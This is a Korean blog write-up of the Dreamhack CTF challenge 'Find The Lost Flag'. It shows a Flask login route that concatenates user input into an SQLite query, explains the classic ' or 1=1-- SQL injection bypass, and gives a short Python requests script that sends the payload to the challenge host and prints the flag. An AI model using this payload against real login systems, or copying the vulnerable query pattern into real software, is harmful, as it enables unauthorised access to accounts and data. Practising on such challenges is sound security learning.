WEB hacking/드림핵(dreamhack)

드림핵 Find The Lost Flag WriteUp

Roronoa 2025. 1. 24. 18:15
반응형

문제 풀이

소스코드

def init_db():
    conn = sqlite3.connect('challenge.db')
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, secret TEXT)''')
    c.execute("INSERT OR IGNORE INTO users (id, username, password, secret) VALUES (1, 'admin', '**[NO!]**', '**[HERE_IS_THE_FLAG]**')")
    c.execute("INSERT OR IGNORE INTO users (id, username, password, secret) VALUES (2, 'guest', 'guestpassword', 'Huh? Do you think the owner will give guests the flag? :)')")
    conn.commit()
    conn.close()

@app.route('/')
def index():
    return '<h1>Welcome to the Secret Database</h1><p>Login to see your secrets.</p>'

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        conn = sqlite3.connect('challenge.db')
        c = conn.cursor()
        query = f"SELECT secret FROM users WHERE username = '{username}' AND password = '{password}'"
        print(f"Executing query: {query}")

        try:
            c.execute(query)
            result = c.fetchone()
            if result:
                return f"<h1>Welcome, {username}!</h1><p>Your secret: {result[0]}</p>"
            else:
                return "<h1>Login failed</h1><p>Invalid username or password.</p>"
        except Exception as e:
            return f"<h1>Error</h1><p>{e}</p>"
        finally:
            conn.close()

    return '''
        <form method="post">
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''

로그인 성공 시 해당 유저의 secret 값을 화면에 보여준다.

admin 계정으로 로그인 성공 시 FLAG를 획득 가능하다.

 

SELECT secret FROM users WHERE username = '{username}' AND password = '{password}'

해당 부분에서 사용자의 입력 값이 그대로 들어가기 때문에 SQL Injection 공격이 가능하다.

 

username 파라미터에 ' or 1=1--을 입력하면 아래와 같이 참이되어 첫번째 컬럼인 admin으로 로그인이 가능하기 때문에 flag 획득 가능하다.

SELECT secret FROM users WHERE username = '' or 1=1--' AND password = '{password}'

 

Exploit Code

import requests
import argparse

parser = argparse.ArgumentParser(description='exploit code of Dreamhack Logical Problem.')
parser.add_argument('-u', '--url', required=True)
args = parser.parse_args()

def exploit(url):
    url = "<http://host1.dreamhack.games:18854/login>"
    data = {"username": "' or 1=1--", "password": ''}
    response = requests.post(url, data=data)
    tmp = response.text.split()
    for s in tmp:
        if '0xH0P3' in s:
            print(f"flag: {s.strip()[:-4]}")
            break

if __name__ == "__main__":
    # 사용법: python ex.py -u <http://host1.dreamhack.games:18854/login>
    exploit(args.url)
반응형